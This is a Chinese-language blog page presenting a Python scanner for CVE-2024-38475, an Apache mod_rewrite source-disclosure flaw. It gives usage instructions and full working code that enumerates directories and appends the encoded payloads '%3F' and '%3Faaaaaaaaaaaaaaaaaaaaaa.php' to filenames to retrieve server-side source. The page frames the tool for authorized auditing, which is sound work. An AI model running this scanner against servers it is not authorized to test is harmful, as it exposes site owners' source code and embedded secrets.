Apache安全漏洞测试工具 - CVE-2024-38475利用脚本

Apache安全漏洞测试工具 (CVE-2024-38475)

基于Python开发的Apache服务器漏洞检测工具,专门针对CVE-2024-38475漏洞进行测试。该漏洞涉及Apache mod_rewrite模块在文件系统路径匹配时的弱点,可能导致源代码意外暴露。

功能特性

  • 目录枚举检测:通过403状态码识别可访问但受限的Web目录
  • 源代码泄露测试 :使用特殊载荷(%3F%3Faaaaaaaaaaaaaaaaaaaaaa.php)检测文件源码暴露漏洞
  • 多Web根目录支持:可同时测试多个Web根目录配置
  • 灵活协议选择:支持HTTP和HTTPS协议
  • 字典驱动测试:支持自定义目录和文件字典,提高测试覆盖率
  • 彩色输出反馈:使用颜色区分不同类型的发现结果

安装指南

系统要求

  • Python 3.6+
  • pip包管理工具

依赖安装

bash 复制代码
pip install requests termcolor

获取字典文件

建议使用以下字典文件:

  • raft-medium-directories.txt - 目录字典
  • raft-medium-files.txt - 文件字典

可从SecLists项目获取标准字典文件。

使用说明

基本用法

bash 复制代码
python3 script.py --webroots webroots.txt --url 127.0.0.1 --schema http --directory_wordlist raft-medium-directories.txt --file_wordlist raft-medium-files.txt

参数说明

参数 必选 描述
--webroots Web根目录列表文件路径(TXT格式)
--url 目标URL或IP地址
--schema 协议类型:http或https(默认:http)
--directory_wordlist 目录字典文件路径
--file_wordlist 文件字典文件路径

使用示例

测试本地Apache服务器

bash 复制代码
python3 script.py --webroots webroots.txt --url localhost --schema http --directory_wordlist dirs.txt --file_wordlist files.txt

测试HTTPS网站

bash 复制代码
python3 script.py --webroots webroots.txt --url example.com --schema https --directory_wordlist dirs.txt --file_wordlist files.txt

webroots.txt格式示例

bash 复制代码
/var/www/html
/home/user/public_html
/opt/lampp/htdocs

典型使用场景

  1. 安全审计:在授权范围内对Apache服务器进行安全评估
  2. 漏洞验证:验证CVE-2024-38475漏洞是否存在
  3. 配置检查:检测mod_rewrite配置是否导致源代码泄露风险

核心代码

目录枚举模块

python 复制代码
def directories(webroot, url_ip_domain, schema, directory_wordlist):
    """检测可访问但受限的目录(返回403状态码)"""
    with open(directory_wordlist, 'r', errors='replace') as f:
        lines = [word.strip() for word in f.readlines()]
        for line in lines:
            r = requests.get(f"{schema}://{url_ip_domain}/{line}/", allow_redirects=False)
            if r.status_code == 403:
                print(colored(f"Found directory - {line} in {webroot}", "green"))

源代码泄露检测模块

python 复制代码
def source_code_files(webroot, url_ip_domain, schema, file_wordlist):
    """使用特殊载荷检测源代码泄露漏洞"""
    with open(file_wordlist, 'r', errors='replace') as f:
        lines = [word.strip() for word in f.readlines()]
        for line in lines:
            # CVE-2024-38475特定载荷
            for payload in ["%3F", "%3Faaaaaaaaaaaaaaaaaaaaaa.php"]:
                r = requests.get(f"{schema}://{url_ip_domain}/{webroot}/{line}{payload}", allow_redirects=False)
                if r.status_code == 200:
                    print(colored(f"Response code: {r.status_code} | Found File - Payload: {r.url} in {webroot}", "green"))

主控制流程

python 复制代码
def main(webroot_file, url_ip_domain, schema, directory_wordlist, file_wordlist):
    """主控制函数,协调目录枚举和文件检测"""
    with open(webroot_file, 'r') as f:
        webroots = [line.strip() for line in f.readlines()]
    
    for webroot in webroots:
        print(colored(f"\nLooking for 403 directories in {webroot}.", "yellow"))
        directories(webroot, url_ip_domain, schema, directory_wordlist)

        print(colored(f"\nLooking for interesting source code disclosures in {webroot}.", "yellow"))
        source_code_files(webroot, url_ip_domain, schema, file_wordlist)

命令行参数解析

python 复制代码
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Webroot and file enumeration script.')
    parser.add_argument('--webroots', type=str, required=True, help='Path to the webroots file (TXT)')
    parser.add_argument('--url', type=str, required=True, help='Target URL or IP address (e.g., 127.0.0.1)')
    parser.add_argument('--schema', type=str, choices=['http', 'https'], default='http', help='Schema to use (http or https)')
    parser.add_argument('--directory_wordlist', type=str, required=True, help='Path to the directory wordlist file (TXT)')
    parser.add_argument('--file_wordlist', type=str, required=True, help='Path to the file wordlist file (TXT)')

    args = parser.parse_args()
    main(args.webroots, args.url, args.schema, args.directory_wordlist, args.file_wordlist)

6HFtX5dABrKlqXeO5PUv/99KwcudWgXADFTG1+cK8U4=

相关推荐
高木木的博客1 天前
数字架构智能化测试平台(1)--总纲
人工智能·python·nginx·架构
wanghowie1 天前
11. AI 客服系统架构设计:不是调 API,而是系统工程
人工智能·系统架构
袋鼠云数栈UED团队1 天前
基于 OpenSpec 实现规范驱动开发
前端·人工智能
Raink老师1 天前
【AI面试临阵磨枪】什么是 Tokenization?子词分词(Subword)的优缺点?
人工智能·ai 面试
迷你可可小生1 天前
面经(三)
人工智能·rnn·lstm
云烟成雨TD1 天前
Spring AI Alibaba 1.x 系列【28】Nacos Skill 管理中心功能说明
java·人工智能·spring
AI医影跨模态组学1 天前
Cancer Letters(IF=10.1)中科院自动化研究所田捷等团队:整合纵向MRI与活检全切片图像用于乳腺癌新辅助治疗反应的早期预测及个体化管理
人工智能·深度学习·论文·医学·医学影像
oioihoii1 天前
Graphify 简明指南
人工智能
数字供应链安全产品选型1 天前
AI全生命周期安全:从开发到下线,悬镜安全灵境AIDR如何覆盖智能体每一个环节?
人工智能
2501_933329551 天前
企业舆情处置实战:Infoseek数字公关AI中台技术架构与功能解析
大数据·人工智能·架构·数据库开发